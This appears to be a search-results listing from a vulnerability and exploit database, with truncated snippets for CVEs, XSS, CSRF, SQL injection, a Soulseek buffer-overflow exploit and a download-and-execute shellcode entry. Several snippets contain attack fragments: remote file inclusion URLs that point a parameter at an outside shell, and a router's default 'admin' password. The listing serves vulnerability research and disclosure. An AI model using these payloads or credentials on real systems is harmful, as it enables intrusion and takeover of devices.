1791 matches found
Soulseek 157 NS Remote Buffer Overflow Exploit (SEH)
No description provided by source. !/usr/bin/python x Bug :Soulseek 157 NS Remote Seh Overwrite Exploit x Credits & poc from : http://www.milw0rm.com/exploits/8777 x Tested on : Windows Xp sp3, Soulseek 157 NS 12d x The exploit attacks the user :"test4321" import struct import sys, socket from ti...
Oracle Application Server Portal 10g Cross Site Scripting Vulnerability
OracleAS Portal is a Web-based application for building and deploying portals. It provides a secure, manageable environment for accessing and interacting with enterprise software services and information resources. A vulnerability has been identified in Oracle Application Server 10g, This could b...
CVE-2009-0330
Directory traversal vulnerability in index.php in Simple Content Management System SCMS 1 allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the p parameter...
Windows/x86 - Download File (http://skypher.com/dll) + LoadLibrary + Null-Free Shellcode (164 bytes)
Windows/x86 - Download File http://skypher.com/dll + LoadLibrary + Null-Free Shellcode 164 bytes. Shellcode exploit for Windowsx86 platform. Tags: Metas... ; Copyright c 2009-2010, Berend-Jan "SkyLined" Wever ; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/ ; All rights...
CVE-2008-5264
Cross-site scripting XSS vulnerability in searcher.exe in Tornado Knowledge Retrieval System 4.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the p parameter in a root action...
irix rpc.passwd overflow
The remote RPC service 100009 yppasswdd is vulnerable to a buffer overflow which allows any user to obtain a root shell on this host. OpenVAS Vulnerability Test $Id: sgirpcpasswd.nasl 8023 2017-12-07 08:36:26Z teissa $ Description: irix rpc.passwd overflow Authors: Renaud Deraison Copyright:...
E-Shop Shopping Cart Script (search_results.php) SQL Injection Vuln
No description provided by source. ephpscripts SQL Injection Bug Founded By Mormoroth This Portal Isnt Free Sp TNX to : imm02rtal-Magicboy-Yashi Lashi-DJ7xpl-R$p And Others www.mormoroth.net www.shabgard.org dork : Powered by ephpscripts Exploit :...
Unfixed XSS vulnerability at www.booska-p.com
Security researcher PHPLizardo, has submitted on 18/08/2008 a cross-site-scripting XSS vulnerability affecting www.booska-p.com, which at the time of submission ranked 7542 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 19/06/2009. It is...
mod_autoindex XSS
Cross-site scripting XSS vulnerability in modautoindex.c in the Apache HTTP Server before 2.2.6, when the charset on a server-generated page is not defined, allows remote attackers to inject arbitrary web script or HTML via the P parameter using the UTF-7 charset. NOTE: it could be argued that th...
mod_autoindex XSS
Cross-site scripting XSS vulnerability in modautoindex.c in the Apache HTTP Server before 2.2.6, when the charset on a server-generated page is not defined, allows remote attackers to inject arbitrary web script or HTML via the P parameter using the UTF-7 charset. NOTE: it could be argued that th...
Apache UTF-7 Encoding Cross-Site Scripting Vulnerability
Overview The modautoindex.c module in Apache HTTP Server is vulnerable to a cross-site scripting attack. When the charset on a server-generated page is undefined, the vulnerability allows attackers to inject arbitrary scripts or HTML via the P parameter using the UTF-7 charset. Impact An attacker...
scorpnews-rfi.txt
/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to...
ScorpNews 1.0 - site Remote File Inclusion
ScorpNews 1.0 - site Remote File Inclusion /news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...
Cross site request forgery (csrf)
Multiple cross-site request forgery CSRF vulnerabilities on the Zyxel P-2602HW-D1A router with 3.40AJZ.1 firmware allow remote attackers to 1 make the admin web server available on the Internet WAN interface via the WWWAccessInterface parameter to Forms/RemMagWWW1 or 2 change the IP whitelisting...
Default credentials
The ZyXEL P-660HW series router has "admin" as its default password, which allows remote attackers to gain administrative access...
Cross site scripting
Cross-site scripting XSS vulnerability in Forms/DiagGeneral2 on the ZyXEL P-660HW series router allows remote attackers to inject arbitrary web script or HTML via the PingIPAddr parameter...
Cross site request forgery (csrf)
Multiple cross-site request forgery CSRF vulnerabilities on the ZyXEL P-660HW series router allow remote attackers to 1 change DNS servers and 2 add keywords to the "bannedlist" via unspecified vectors...
CVE-2008-1254
Multiple cross-site request forgery CSRF vulnerabilities on the ZyXEL P-660HW series router allow remote attackers to 1 change DNS servers and 2 add keywords to the "bannedlist" via unspecified vectors...